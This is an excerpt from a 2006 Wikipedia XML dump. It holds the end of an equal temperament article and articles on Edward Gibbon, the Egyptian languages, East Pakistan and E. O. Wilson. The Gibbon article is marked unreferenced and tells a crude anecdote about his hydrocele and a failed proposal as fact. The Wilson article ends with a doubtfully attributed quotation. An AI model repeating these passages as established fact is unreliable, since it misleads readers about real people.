[[Wendy Carlos]] created two equal tempered scales for the title track of her album ''Beauty In The Beast'', the Alpha and Beta scales. Beta splits a [[perfect fourth]] into two equal parts, which creates a scale where each step is almost 64 cents. Alpha does the same to a [[minor third]] to create a scale of 78 cent steps.

The equal tempered version of the [[Bohlen-Pierce scale]] consists of the ratio 3:1, 1902 cents, conventionally an [[octave]] and a just fifth, used as a [[tritave]], and split into a thirteen tone equal temperament where each step is
:&lt;math&gt; \sqrt[13]{3} &lt;/math&gt;
or 146.3 cents. This provides a very close match to [[just intonation|justly tuned]] ratios consisting only of odd numbers.

Australian aboriginal music extensively measured by Ellis (1965) was based on arithmetic scales (the [[harmonic series (music)|harmonic series]] is an arithmetic scale, though presumably the Australian scales began an interval smaller than an octave) with an equal separation ''in [[hertz]]''.

==See also==
* [[Physics of music]]
* [[Mathematics of musical scales]]
* [[quarter tone scale]]
* [[19 tone equal temperament]]
* [[22 tone equal temperament]]
* [[31 tone equal temperament]]
* [[53 tone equal temperament]]
* [[72 tone equal temperament]]
* [[Pythagorean tuning]] | [[just intonation]] | [[meantone temperament]] | [[well temperament]]

==Sources==
*Burns, Edward M. (1999). &quot;Intervals, Scales, and Tuning&quot;, ''The Psychology of Music'' second edition. Deutsch, Diana, ed. San Diego: Academic Press. ISBN 0122135644. Cited:
**Ellis, C. (1965). &quot;Pre-instrumental scales&quot;, ''Journal of the Acoustical Society of America'', 9, 126-144.
**Morton, D. (1974). &quot;Vocal tones in traditional Thai music&quot;, ''Selected reports in ethnomusicology'' (Vol. 2, p.88-99). Los Angeles: Institute for Ethnomusicology, UCLA.
**Haddon, E. (1952). &quot;Possible origin of the Chopi Timbila xylophone&quot;, ''African Music Society Newsletter'', 1, 61-67.
**Kunst, J. (1949). ''Music in Java'' (Vol. II). The Hague: Marinus Nijhoff.
**Hood, M. (1966). &quot;Slendro and Pelog redefined&quot;, ''Selected Reports in Ethnomusicology, Institute of Ethnomusicology, UCLA'', 1, 36-48.
**Temple, Robert K. G. (1986).&quot;The Genius of China&quot;. ISBN 0-671-62028-2
**Tenzer, (2000). ''Gamelan Gong Kebyar: The Art of Twentieth-Century Balinese Music''. ISBN 0226792811 and ISBN 0226792838
**Boiles, J. (1969). &quot;Terpehua though-song&quot;, ''Ethnomusicology'', 13, 42-47.
**Wachsmann, K. (1950). &quot;An equal-stepped tuning in a Ganda harp&quot;, ''Nature (Longdon)'', 165, 40.
**Cho, Gene Jinsiong. (2003). ''The Discovery of Musical Equal Temperament in China and Europe in the Sixteenth Century''. Lewiston, NY: The Edwin Mellen Press.

== External links ==

*[http://www.yuvalnov.org/temperament Explaining the Equal Temperament]
*[http://tonalsoft.com/enc/index2.htm?eqtemp.htm Tonalsoft Encyclopaedia of Tuning]
*[http://home.earthlink.net/~kgann/histune.html An Introduction to Historical Tunings]
*[http://www.users.dircon.co.uk/~oneskull/3.6.04.htm A beginner's guide to temperament]
*[http://tonalsoft.com/monzo/55edo/55edo.htm Mozart's Teaching of Violin Intonation]
*[http://www.xs4all.nl/~huygensf/english/ Huygens-Fokker Foundation Centre for Microtonal Music]
*[http://www.xs4all.nl/~huygensf/doc/telemann.html Telemann's New Musical System]
*[http://www.xs4all.nl/~huygensf/doc/stevinsp.html A.D. Fokker: Simon Stevin's views on music]
*[http://www.geocities.jp/imyfujita/wtcuncertain.html Music of Sacred Temperament]
*[http://www.fortunecity.com/tinpan/lennon/362/english/acoustics.htm A.Orlandini: Music Acoustics]

{{Musical tuning}}

[[Category:Equal temperaments| ]]

[[cs:Rovnoměrně temperované ladění]]
[[de:Gleichstufige Stimmung]]
[[fr:Gamme tempérée]]
[[ko:평균율]]
[[it:Temperamento equabile]]
[[hu:Kiegyenlített hangolás]]
[[lt:Lygioji temperacija]]
[[nl:Gelijkzwevende stemming]]
[[ja:平均律]]
[[fi:Tasaviritys]]
[[sv:Liksvävande temperatur]]
[[zh:十二平均律]]</text>
    </revision>
  </page>
  <page>
    <title>Edward Gibbon</title>
    <id>10310</id>
    <revision>
      <id>41240415</id>
      <timestamp>2006-02-26T00:24:55Z</timestamp>
      <contributor>
        <ip>203.51.1.201</ip>
      </contributor>
      <comment>/* Assessment */</comment>
      <text xml:space="preserve">{{unreferenced}}

[[Image:Edward_Gibbon.jpg|thumb|200px|Edward Gibbon (1737-1794).]]
'''Edward Gibbon''' ([[April 27]], [[1737]] ([[Julian calendar|O.S.]]) ([[May 8]], [[1737]] ([[Gregorian calendar|N.S.]])) - [[January 16]], [[1794]]) was arguably the most influential [[historian]] since the time of [[Tacitus]]. His magnum opus, ''[[The History of the Decline and Fall of the Roman Empire]]'',  published between [[1776]] and 1788, is a groundbreaking work whose influence endures to this day.

== Life ==

Gibbon was born in [[Putney]], then a town by the river [[Thames]], near [[London]], [[England]].  His grandfather had made and lost the family fortune in the [[South Sea Bubble]]. Gibbon was the only child, and he described himself as &quot;a weakly child&quot; in his memoirs. His mother died when he was 10 years old, after which he attended [[Kingston Grammar School]], staying at the boarding house of his favorite &quot;Aunt Kitty&quot;, followed by [[Westminster School]] at the age of 11. At the age of 14, he was sent by his father to [[Magdalen College, Oxford|Magdalen College]] at the [[University of Oxford]], where he enrolled as a gentleman-commoner. 

Gibbon was ill-suited to the college atmosphere and later wrote of his 14 months there as &quot;the most idle and unprofitable of my whole life.&quot; The most memorable event of his time at Oxford was his conversion to [[Roman Catholicism]] on [[June 8]], [[1753]]. Religious controversies raged on the Oxford campus, and while their intellectual standards were sometimes described as bleak, obsolete, and barren, the 16 year-old Gibbon was not immune to this controversial religious trend and he later remarked, with his flair for sarcastic understatement, &quot;from my childhood, I had been fond of religious disputation&quot;.

Within weeks of his conversion, the elder Gibbon removed the younger from Oxford, and sent him to M. Pavilliard, a [[Calvinism|Calvinist]] pastor and private tutor in [[Lausanne]], [[Switzerland]], where he remained for five years, a time which would have a profound impact upon Gibbon's later character and life. He quickly reconverted back to [[Protestant]]ism, but more importantly, his time in Lausanne enriched Gibbon's immense aptitude for scholarship and erudition. In addition, he met the one romance in his life: the pastor's daughter, a young woman named Suzanne Curchod, who would later be the wife of [[Jacques Necker]], the French finance minister, and mother of [[Anne Louise Germaine de Staël|Mme de Staël]]. Once again, his father intruded in his son's life by vetoing the marriage proposal and demanding the young Gibbon's immediate return to England. Gibbon would write: &quot;I sighed like a lover, I obeyed like a son.&quot; 

Upon his return to England, Gibbon published his first book, ''Essai sur l'Etude de la Littérature'' in [[1758]]. From [[1759]] to [[1763]], Gibbon spent four years in service with the Hampshire militia. Later that year, he embarked on a Grand Tour to Europe, which included a visit to [[Rome]]. It was here, in [[1764]], that Gibbon first conceived the idea of writing about the history of the [[Roman Empire]]:

&lt;blockquote&gt;It was on the fifteenth of October, in the gloom of evening, as I sat musing on the [[Capitoline Hill|Capitol]], while the barefooted fryars were chanting their litanies in the temple of [[Jupiter (god)|Jupiter]], that I conceived the first thought of my history. (''Memoirs of My Life'', ed. Georges A. Bonnard [New York: Funk &amp; Wagnalls, 1966], p. 304)&lt;/blockquote&gt;

By [[1772]], his father died, and after tending to the estate, which was by no means in good condition, there was nevertheless enough for Gibbon to settle comfortably in London. He began writing his history in [[1773]]  and the first quarto of ''The History of the Decline and Fall of the Roman Empire'' appeared in [[1776]]. 

Gibbon suffered from a malady now believed to be [[hydrocele testis]], according to the [[Merck Manual]]. This condition caused his testicles to swell with fluid to extraordinary proportions. Gibbon underwent numerous procedures to have the fluid removed during his later years, but as his condition worsened, it became both more painful and an embarrassment. His doctor, who actually measured the contents, once drew five quarts of liquid from the protuberance. 

This chronic inflammation caused Gibbon great physical discomfort in a time when men wore close-fitting breeches. He refers to this indirectly in his ''Memoirs'', with comments: &quot;I can recall only fourteen truly happy days in my life,&quot; and &quot;I am never so content when writing in solitude.&quot; Personal hygiene during the Eighteenth Century was optional at best; for Gibbon, it was marginal by any standard. The social humiliation Gibbon endured as a result of his hygiene and his protuberance is chronicled. In an age when a man's stature was measured not merely by the &quot;cut of his breeches,&quot; but by his riding, Gibbon was a lonely figure. In one incident, he bent down on one knee to propose to a lady of society. She demurred, &quot;Sir, please, stand up.&quot; Gibbon replied: &quot;Madam, I cannot.&quot;

== Assessment ==
Gibbon's literary art, the sustained excellence of his style, his piquant epigrams and his brilliant irony, would perhaps not secure for his work the immortality which it seems likely to enjoy, if it were not also marked by an accuracy of judgment which has rarely been equalled.  [[Churchill]] memorably noted, ''I set out upon Gibbon's Decline and Fall of the Roman Empire [and] was immediately dominated by both the story and the style. I devoured Gibbon. I rode triumphantly through it from end to end.'' Churchill later went on to mimic Gibbon's prose style, although at a marginally less elevated level.

Unusual for the 18th century, Gibbon was never content with secondhand accounts when the primary sources were accessible. ''I have always endeavoured,'' he says, ''to draw from the fountainhead; my curiosity, as well as a sense of duty, has always urged me to study the originals; and if they have sometimes eluded my search, I have carefully marked the secondary evidence on whose faith a passage or a fact were reduced to depend.''  In this insistence upon the importance of primary sources, Gibbon is considered by many to be one of the first modern historians.

Gibbon's verdict on the history of the [[Middle Ages]] is contained in the famous sentence, ''I have described the triumph of barbarism and religion.'' It is important to understand clearly the criterion that he applied, because it is frequently misunderstood.  He was a son of the [[18th century]], had studied [[Locke]] and [[Montesquieu]] with sympathy, and few seem to have appreciated more keenly than he did, the human advantages of political liberty and the freedom of an Englishman.  In short, the criterion by which Gibbon judged civilization and progress was the measure in which the happiness of men is secured, and of that happiness, he considered political freedom to be an essential precondition.

Decline and Fall has had its detractors too, almost invariably in the form of religious commentators and religious historians who detested his querying not only of official church history, but also of the saints and scholars of the church, their motives and their accuracy.  In particular, the Fifteenth Chapter, which documents the reasons for the rapid spread of [[Christianity]] throughout the Roman Empire, was particularly vilified and resulted in the banning of the book in various countries until quite recently, with Ireland, for example, lifting the ban on sale in the early 1970's.

Despite this official opposition, ''The History of the Decline and Fall of the Roman Empire'' remains surprisingly popular and arguably one of the finest histories in the English language.

== Influence on other writers ==
The subject of Gibbon's writing as well as his ideas and style have influenced other writers. Besides his influence on Churchill, which has been discussed earlier in this article, Gibbon was also a model for [[Isaac Asimov]] in his writing of [[The Foundation Series|The Foundation Trilogy]].

The '''title''' of the Rise and Fall has been used by other writers:
*''Rise and Fall of the Third Reich'' (1959), [[William Shirer]]
*''The Rise and Fall of Adolf Hitler'' (1961), William Shirer
*''The Rise and Fall of the Great Powers'' (1989), [[Paul Kennedy]]
*''The Rise of the Anglo-German Antagonism'' Paul Kennedy
*''The Rise and Fall of British Naval Mastery'' Paul Kennedy

==Works by Gibbon==
* ''[[Essai sur l’étude de la littérature]]'' ([[1761]]).
* ''[[The History of the Decline and Fall of the Roman Empire]]'' (Volume I, [[1776]]; Volumes II and III, [[1781]]; Volumes IV, V, and VI, [[1788]]).
* ''[[A vindication of some passages in the fifteenth and sixteenth chapters of the History of the decline and fall of the Roman Empire]]'' ([[1779]]).
* ''[[ Mémoire justificatif pour servir de réponse à l’exposé, &amp;c de la cour de France]]'' (1779).
* ''[[Memoirs of My Life]]'' (1796, at the beginning of the posthumous ''Miscellaneous Works of Edward Gibbon, Esq.'' published two years after the author's death by his friend and [[literary executor]] [[John Holroyd, 1st Earl of Sheffield]]); cf. Georges A. Bonnard's critical edition (1966).

== External links ==
{{wikiquote}}
*[http://50.1911encyclopedia.org/G/GI/GIBBON_EDWARD.htm Extensive Biography in 1911 Encyclopedia]
*[http://www.alumni.caltech.edu/~zimm/gibho1.html Edward Gibbon, Historian of the Roman Empire - Part 1 : The Man and his Book]
*[http://www.alumni.caltech.edu/~zimm/gibho2.html Edward Gibbon, Historian of the Roman Empire - Part 2 : A closer look at The Decline and Fall]
*[http://members.aol.com/Feuillade/TomMoran28.index.html Tom Moran's Edward Gibbon page]
*{{gutenberg author| id=Edward+Gibbon | name=Edward Gibbon}}

[[Category:1737 births|Gibbon, Edward]]
[[Category:1794 deaths|Gibbon, Edward]]
[[Category:British historians|Gibbon, Edward]]
[[Category:British classical scholars|Gibbon, Edward]]
[[Category:Old Westminsters|Gibbon, Edward]]
[[Category:Freemasons|Gibbon, Edward]]

[[da:Edward Gibbon]]
[[de:Edward Gibbon]]
[[es:Edward Gibbon]]
[[eo:Edward GIBBON]]
[[fr:Edward Gibbon]]
[[he:אדוארד גיבון]]
[[nl:Edward Gibbon]]
[[ja:エドワード・ギボン]]
[[pl:Edward Gibbon]]
[[pt:Edward Gibbon]]
[[fi:Edward Gibbon]]
[[sv:Edward Gibbon]]
[[zh:吉本]]</text>
    </revision>
  </page>
  <page>
    <title>Egyptian languages</title>
    <id>10311</id>
    <revision>
      <id>41449920</id>
      <timestamp>2006-02-27T11:30:02Z</timestamp>
      <contributor>
        <username>Klompje7</username>
        <id>841177</id>
      </contributor>
      <text xml:space="preserve">The '''Egyptian languages''' are a subfamily of the [[Afro-Asiatic]] language family. The only members are the ancient [[Egyptian language]] (including [[Demotic Egyptian|Demotic]]) and its descendant, [[Coptic language|Coptic]]. They are extinct in regular usage, both written and spoken, though Coptic is preserved as a [[liturgical]] language in the [[Coptic Orthodox Church]].

The development of the group is divided into six major periods:

* Archaic Egyptian (before 2600 BC)
* Old Egyptian (2600 BC - 2000 BC)
* Middle Egyptian (2000 BC - 1300 BC)
* Late Egyptian (1300 BC - 700 BC)
* Demotic (seventh century BC - fifth century AD)
* Coptic (fourth - fourteenth century AD)

It should be noted that Egyptian writing in the form of label and signs has been dated to 3000 BC. These early texts are generally lumped together under the term &quot;Archaic Egyptian.&quot;

Old Egyptian was spoken for some 500 years from 2600 BC onwards. Middle Egyptian was spoken from about 2000 BC for a further 700 years when Late Egyptian made its appearance; Middle Egyptian did, however, survive until the first few centuries AD as a written language, similar to the use of [[Latin]] during the Middle Ages. Demotic first appears about 650 BC and survived as a spoken language until fifth century AD. Coptic -- the Bohairic dialect is still used by the Egyptian Christian Churches -- appeared in the fourth century AD and survived as a written, living language until the fourteenth century AD; it probably survived in the Egyptian countryside as a spoken language for several centuries after that.

Old, Middle, and Late Egyptian were all written using [[hieroglyphs]] and [[hieratic]]. Demotic was written using a script derived from hieratic; its appearance is vaguely similar to modern [[Arabic script]] (although the two are not at all related). Coptic is written using the [[Coptic alphabet]], a modified form of the [[Greek alphabet]] with a number of symbols borrowed from Demotic for sounds that did not occur in [[Ancient Greek]].

[[Arabic language|Arabic]] gradually replaced spoken Coptic after the Arabian invasions in the seventh century, though Arabic was the language of the [[Islam|Muslim]] political administration soon thereafter.

[[Category:Egyptian languages]]

[[ar:لغات مصرية]]
[[de:Ägyptische Sprache]]
[[es:Idioma egipcio]]
[[fr:Égyptien classique]]
[[he:שפות מצריות]]</text>
    </revision>
  </page>
  <page>
    <title>East Pakistan</title>
    <id>10312</id>
    <revision>
      <id>41854481</id>
      <timestamp>2006-03-02T04:07:46Z</timestamp>
      <contributor>
        <username>Shyamsunder</username>
        <id>800815</id>
      </contributor>
      <comment>+cat</comment>
      <text xml:space="preserve">{{Historic Pakistan|
region_name=East Pakistan |
region_flag=Bangladesh1971Flag.png |
region_map=East Bengal Map.gif |
capital=[[Dhaka]] |
area=144,000 |
official_languages=[[Bengali language|Bengali]]|
established_date=14th October 1955|
abolished_date=25th March 1971 (declared)
16th December 1971 (official)|
footnotes = [http://www.bangladeshgov.org Government of Bangladesh]|
}}
&lt;br&gt;
'''East Pakistan''' was a former province of [[Pakistan]] which existed between 1955 and 1971. It replaced the former province of [[East Bengal (province)|East Bengal]] and occupied the area now known as [[Bangladesh]].
&lt;!--== East Bengal from 1905-1912 ==
With the assumption of [[Lord Curzon]] to the office of [[Governor-General of India]], British India was finally put under the charge of a man who considered himself an expert in Indian affairs. Curzon, seeing the logistical problems of administering such a large province, proposed to divide [[Bengal]]. '''Bengal,''' henceforth, would encompass Calcutta and the western territories, roughly comprising modern [[West Bengal]], [[Bihar]], and [[Orissa]]. '''East Bengal''', the new province, would roughly encompass modern Bangladesh and the northeastern states of India (then all grouped under the heading of [[Assam]]).

While Curzon claimed the action was one merely founded upon administrative principles, the growing nationalist movement, which originated with the educated elite of [[Calcutta]] and the Bengali aristocracy, took the action as an attempt to cut off Bengal's Hindu intellectual leaders (based in Calcutta) from the majority Muslim agriculturalists of the east, dividing the nationalist movement along lines of class and religion. The partition of Bengal, effected in [[July]] [[1905]], sparked a firestorm in the nationalist movement. The partition was revoked in [[1912]], but it was accompanied by slicing off the non-Bengali portions of the province -- creating separate provinces for [[Assam]] and [[Bihar]] and [[Orissa]] -- and the shifting of the capital from Calcutta to [[Delhi]]. \this section commented out because it has little to do with East Pakistan\ --&gt;

== Post Independence ==
Bengal was split again in 1947 upon the partition of British India into the independent states of Pakistan and India, the eastern part becoming East Pakistan.

After independence from British rule, East Pakistan was dominated and neglected by the Pakistani government, which was dominated by the Pakistani military, which mostly belonged to [[West Pakistan]]. A major cause of resentment among the Bengalis was economic exploitation. For example, between [[1948]] and [[1960]], East Pakistan's export earnings had been 70% of national total, while it only received 25% of the earnings. Between 1950 and 1970, only 34% of the development expenditure was spent in East Pakistan despite having more than half the population {{ref|exploitation}}. Tensions peaked in [[1971]], following the cancellation by Pakistani President [[Yahya Khan]] of election results that gave the [[Awami League]] a majority in the parliament. The [[Awami League]] won almost all the seats in East Pakistan, but none in [[West Pakistan]]. East Pakistan had more than half the parliamentary seats because it was home to more than half the population. Although the [[Awami League]] was in a position to form a government without any coalition partner, it was forced to start negotiations with the [[Pakistan Peoples Party]] which had won most of the seats in [[West Pakistan]]. The negotiations failed and a 'military government' cancelled the results of the elections in 'East Pakistan'. Under the leadership of [[Sheikh Mujibur Rahman]], Bangladesh began its struggle for independence. The official onset followed one of the bloodiest genocides of recent times carried out by the Pakistan army on Bengali civilians on 25th March, [[1971]], with an estimated 1-1.5 million Bengali deaths during the war {{ref|warstat}}.

== Independence of Bangladesh ==
[[Sheikh Mujibur Rahman]], being identified as a major influencer of the Bengalis, was arrested by the [[Pakistan]]i Government. [[Ziaur Rahman]], an army major then (later to be a President of Bangladesh) declared the Independence of Bangladesh, on behalf of Sheikh Mujibur Rahman, using a makeshift radio transmitter from the port city of [[Chittagong]]. With the help of Bengali officers in the army, support of civilians and military/humanitarian aid from India, Bangladesh quickly put together the [[Mukti Bahini]] (&quot;Freedom Fighters&quot;), an armed group of young students, workers, farmers and other civilians.

Following a military crackdown on civilians in East Pakistan on 25th March [[1971]], Major [[Ziaur Rahman]] declared the independence of Bangladesh on behalf of [[Sheikh Mujibur Rahman]] on 26th March [[1971]]. This started the [[Bangladesh Liberation War]] in which the [[Mukti Bahini]], joined by 400,000 Indian soldiers in December, faced the [[Pakistani Army]] of 100,000. On 16th December [[1971]], the Pakistani Army surrendered to the [[Mitro Bahini]] (Allied Forces of Bangladesh Forces and [[Indian Army]]). Bangladesh quickly gained recognition from most countries and with the signing of the [[Shimla Accord]], the remaining countries too accepted the new nation. Bangladesh joined the [[United Nations]] in [[1974]].

== Government of East Pakistan ==
On 14th October 1955, the last governor of [[East Bengal (province)|East Bengal]] (Amiruddin Ahmad) became the first Governor of East Pakistan. At the same time the last Chief Minister of East Bengal became the first Chief Minister of East Pakistan. This system lasted until the military coup of 1958 when the post of Chief Minister was abolished in both East Pakistan and West Pakistan. From 1958 to 1971 the administration was largely in the hands of the President of Pakistan and the Governor of East Pakistan who at times held the title of [[Martial Law|Martial Law Administrator]].

{|class=&quot;wikitable&quot;
|-
!Tenure||Governor of East Pakistan
|-
|14th October 1955 - March 1956||Amiruddin Ahmad
|-
|March 1956 - 13th April 1958||[[A. K. Fazlul Huq]]
|-
|13th April 1958 - 3rd May 1958||Hamid Ali (acting)
|-
|3rd May 1958 - 10th October 1958||Sultanuddin Ahmad
|-
|10th October 1958 - 11th April 1960||Zakir Hussain
|-
|11th April 1960 - 11th May 1962||Lt Gen Mohammad Azam Khan
|-
|11th May 1962 - 25th October 1962||[[Ghulam Faruque]]
|-
|25th October 1962 - 23rd March 1969||Abdul Munim Khan
|-
|23rd March 1969 - 25th March 1969||Mirza Nurul Huda
|-
|25th March 1969 - 23rd August 1969||Muzaffaruddin (martial law administrator)
|-
|23rd August 1969 - 1st September 1969||[[Sahabzada Yaqub Khan]] (martial law administrator)
|-
|1st September 1969 - 7th March 1971||Syed Mohammad Ahsan
|-
|7th March 1971 - 31st August 1971||[[Tikka Khan]] (martial law administrator)
|-
|31st August 1971 - 14th December 1971||Abdul Motaleb Malik
|-
|14th December 1971 - 16th December 1971||[[A. A. K. Niazi]] (martial law administrator)
|-
|16th December 1971||Province of East Pakistan dissolved
|}

{|class=&quot;wikitable&quot;
|-
!Tenure||Chief Minister of East Pakistan||Political Party
|-
|August 1955 - September 1956||Abu Hussain Sarkar||Krishan Sramik Party
|-
|September 1956 - March 1958||Ata-ur-Rahman Khan||[[Awami League]]
|-
|March 1958||Abu Hussain Sarkar||Krishan Sramik Party
|-
|March 1958 - 18th June 1958||Ata-ur-Rahman Khan||Awami League
|-
|18th June 1958 - 22nd June 1958||Abu Hussain Sarkar||Krishan Sramik Party
|-
|22nd June 1958 - 25th August 1958||Governor's Rule||
|-
|25th August 1958 - 7th October 1958||Ata-ur-Rahman Khan||Awami League
|-
|7th October 1958||Post abolished||
|-
|16th December 1971||Province of East Pakistan dissolved||
|}

==See also==
* [[Partition of India]]
* [[East Bengal (province)|East Bengal]]
* [[West Pakistan]]
* [[Bangladesh Liberation War]]

== External links ==
* [http://www.bangladeshgov.org Government of Bangladesh]
* [http://www.pakistan.gov.pk Government of Pakistan]

== References ==
* {{note|exploitation}} [[Bangladesh Liberation War#Economic_exploitation|Bangladesh Liberation War]]
* {{note|warstat}} [http://users.erols.com/mwhite28/warstat2.htm War Statistics]

[[Category:History of Bangladesh]]
[[Category:Historical regions of Pakistan]]
[[Category:Bangladesh Liberation War]]

[[nl:Oost-Pakistan]]
[[pt:Paquistão do Leste]]</text>
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  </page>
  <page>
    <title>E. O. Wilson</title>
    <id>10313</id>
    <revision>
      <id>42072615</id>
      <timestamp>2006-03-03T17:07:37Z</timestamp>
      <contributor>
        <username>Mccready</username>
        <id>318404</id>
      </contributor>
      <comment>/* Criticism */ tried to remove POV</comment>
      <text xml:space="preserve">[[Image:Edward_O_Wilson.jpg|right|thumb||275px|Edward O. Wilson]]

'''E. O. Wilson''', or '''Edward Osborne Wilson''', (born [[June 10]], [[1929]]) is an [[United States|American]] [[entomologist]] and [[biologist]] known for his work on [[ecology]], [[evolution]], and [[sociobiology]]. Edward O. Wilson is internationally regarded as the dean of biodiversity studies. Wilson's specialty is [[ant]]s, in particular their use of [[pheromones]] for [[communication]]. He is also famous for starting the sociobiology debate, one of the greatest scientific controversies of the late 20th century, when he suggested in his ''[[Sociobiology: The New Synthesis]]'' ([[1975]]) that animal (and by extension human) behavior can be studied using an evolutionary framework.  He is also credited with bringing the term ''[[biodiversity]]'' to the public.

Wilson's many scientific and [[conservationism|conservation]] honors include the 1990 [[Crafoord Prize]], a 1976 U.S. [[National Medal of Science]], and two [[Pulitzer Prize for General Non-Fiction|Pulitzer Prizes]].  In 1995 he was named by ''Time Magazine'' as one of the 25 most influential people in America. 

He was born in [[Birmingham, Alabama]], attained the rank of [[Eagle Scout rank (Boy Scouts of America)|Eagle Scout]], graduated from the [[University of Alabama]] and received his [[Doctor of Philosophy|Ph.D.]] from [[Harvard University]]. Wilson received a D.Sc. from [[Bates College]] in 1996.

==Early life==
After the divorce of his parents, Edward and Inez Wilson, at the age of seven, Wilson grew up in several different cities and towns, moving around with his father, and stepmother Pearl. In his [[autobiography]] ''Naturalist'' he describes his formative years in [[Washington DC]] and in the countryside around [[Mobile, Alabama|Mobile]]. From an early age he was interested in [[natural history]]. At the age of seven he was blinded in the right eye by a [[cataract]] (caused by a fish fin which jerked into his eye while fishing); this accident reduced his ability to watch mammals and birds and so he concentrated instead on insects. At the age of sixteen, intent on becoming an [[entomologist]], he began by collecting [[Diptera|flies]], but the shortage of insect pins caused by the [[Second World War]] caused him to switch to [[ant]]s, which could be stored in vials, and with the encouragement of Marion R. Smith, a myrmecologist from the [[National Museum of Natural History]], he began a survey of all the ants of [[Alabama]]. 

Entering [[university]] (the only way to pursue a career in entomology) at that time was an unusual choice and Wilson felt that he and his family would be unable to afford it. For this reason he attemped to enlist in the [[US Army]] so that after leaving the army he could get assistance in paying for college. However he failed the medical due to his impared sight. He was able to enter college, however, as the [[University of Alabama]] was open to all graduates of Alabama's [[high school]] system, and which had affordable fees.

==Beliefs==
Wilson coined the phrase '''scientific humanism''' (when referring to [[Humanism]]) as &quot;the only [[worldview]] compatible with science's growing knowledge of the real world and the laws of nature&quot;. {{ref|Wilson}}

==Academic work==
===The selfish gene===
Wilson has argued that the preservation of the [[gene]], rather than the individual, is the focus of [[evolution]] (a theme explored in more detail and popularized by [[Richard Dawkins]]' ''[[The Selfish Gene]]'').

===Sociobiology===
Wilson inadvertently created one of the greatest scientific controversies of the late 20th century when he suggested that animal (and by extension human) behaviour can be studied using an [[evolution]]ary framework, which came to be known as [[sociobiology]]. 

====Criticism====
{{sectNPOV}}
Some critics accused Wilson of [[racism]], and he was physically attacked for his views when a group of black African student poured water on his head. However, Wilson did not intend to apply a 'survival of the fittest' model on human society as had been true of so-called [[social Darwinism|social Darwinists]]. The controversy caused a great deal of personal grief for Wilson; some of his colleagues at Harvard, such as [[Richard Lewontin]] and the late [[Stephen Jay Gould]], were vehemently opposed to his ideas.

Wilson was surprised by attacks on his theory, much to the astonishment of his critics. He wrote that “the political objections forcefully made by the Sociobiology Study Group of [[Science for the People]] in particular took me by surprise.” Wilson had not considered his paper relevant to political analysis such as [[Marxist]]s offered.  He was annoyed with his critics for “blind-siding” him. He objected that no one had made him aware of their feelings while he was writing his book, even though several of them, Gould and Lewontin included, were well aware of his project. Furthermore, he was angered because he felt that the critics were being hysterical and misrepresenting his position. He rejected the charge that his theory was [[biological determinism|biologically deterministic]], and pointed to several passages in articles he had written which he claimed had already addressed their concerns, for example, 

&lt;blockquote&gt;&quot;The moment has come to stress that there is a dangerous trap in sociobiology, one which can be avoided only by constant vigilance. The trap is the naturalistic fallacy of ethics which uncritically concludes that what is, should be. The ‘what is’ in human nature is to a large extent the heritage of a Pleistocene hunter-gatherer existence. When any genetic bias is demonstrated, it cannot be used to justify a continuing practice in present and future societies.&quot; (New York Times Magazine)&lt;/blockquote&gt;

A result of these controversies has been his work &quot;Genes, Mind and Culture: The coevolutionary process&quot; (1981) coauthored with Charles Lumsden. This very mathematical work has been popularized in &quot;Promethean fire: reflections on the origin of mind&quot; (1983). The paradigm of coevolutionary process takes its place in the history of modern science and anthropology.

===Ecology===
{{Sectcleanup}}

Wilson has also studied the [[mass extinction]]s of the [[20th century]] and their relationship to [[modern society]]. He explains:

&lt;blockquote&gt;Now when you cut a [[forest]], an ancient forest in
particular, you are not just removing a lot of big [[tree]]s and a few
[[bird]]s fluttering around in the [[canopy (forest)|canopy]].  You are drastically imperiling a vast array of [[species]] within a few square miles of you. The number of these species may go to tens of thousands.&lt;/blockquote&gt;
&lt;blockquote&gt;Many of them are still unknown to science, and science has not yet discovered the key role undoubtedly played in the maintenance of that [[ecosystem]], as in the case of [[fungi]], [[microorganism]]s, and many of the [[insect]]s.&lt;/blockquote&gt;

and adds:
&lt;blockquote&gt;Let us get rid immediately of the notion that all you have to do is keep a little patch of the [[old growth]] somewhere, and then you can do whatever you want with the rest.  That is a very dangerous and false notion.&lt;/blockquote&gt;

He concludes:
&lt;blockquote&gt;Had people taken the alert signals seriously, as intelligent people must, this 1992 book [The Diversity of Life] would have set the basis for a new level of discussions on the environment and the current ongoing worldwide biotic holocaust exterminating species at the rate of one every 20 minutes. People might be working on solutions by now instead of still wallowing in ignorance. The facts are clearly and well laid out. The evidence is presented, the theories and data explained at length, at a reasonable cost in paperback (or free from the public lending library). Eight years later people are still presenting in public flawed paradigms (perhaps deliberately) to excuse their gluttonous behaviour which is crushing the planetary life-support systems.&lt;/blockquote&gt;
: – E. O. Wilson 2000

==Main works==

* Nature Revealed: Selected Writings 1949-2006, Johns Hopkins University Press, Baltimore. ISBN 0801883296 
* ''[[The Theory of Island Biogeography]]'', [[1967]],  Princeton University Press (2001 reprint), ISBN 0691088365 - with  Robert H. MacArthur
* ''[[Insect Societies]]'', [[1971]], Harvard University Press, ISBN 0674454901 
* ''[[Sociobiology: The New Synthesis]]'' [[1975]], Belknap Press, ISBN 0674816218
* ''[[Sociobiology: The New Synthesis, Twenty-fifth Anniversary Edition]]'', [[2000]], Belknap Press, ISBN 0674000897
* ''[[On Human Nature]]'', [[1978]], Harvard University Press, ISBN 0674634411 - Winner of the [[Pulitzer Prize]]
* '' [[Genes, Mind and Culture: The coevolutionary process]]'', [[1981]], Harvard University Press, ISBN 0-674-34475-8
* '' [[Promethean fire: reflections on the origin of mind]]'', [[1983]], Harvard University Press, ISBN 0-674-71445-8
* ''[[Biophilia]]'', [[1984]], Harvard University Press, ISBN 0674074416
* [[Success and Dominance in Ecosystems: The Case of the Social Insects]], [[1990]], [[Inter-Research]], ISSN 0932-2205 
* ''[[The Ants]]'', [[1990]], Belknap Press, ISBN 0674040759 - Winner of the [[Pulitzer Prize]], with [[Bert Hölldobler]]
* ''[[The Diversity of Life]]'', [[1992]], Belknap Press, ISBN 0674212983
* ''[[The Biophilia Hypothesis]]'', [[1993]],  Shearwater Books, ISBN 1559631481 - with Stephen R. Kellert
* ''[[Journey to the Ants|Journey to the Ants: A Story of Scientific Exploration]]'', [[1994]], Belknap Press, ISBN 0674485254 - with Bert Hölldobler
* ''[[Naturalist (book)|Naturalist]]'', [[1994]], Shearwater Books, ISBN 1559632887
* ''[[In Search of Nature]]'', [[1996]], Shearwater Books, ISBN 1559632151 - with Laura Simonds Southworth
* ''[[Consilience: The Unity of Knowledge]]'', [[1998]], Knopf, ISBN 0679450777
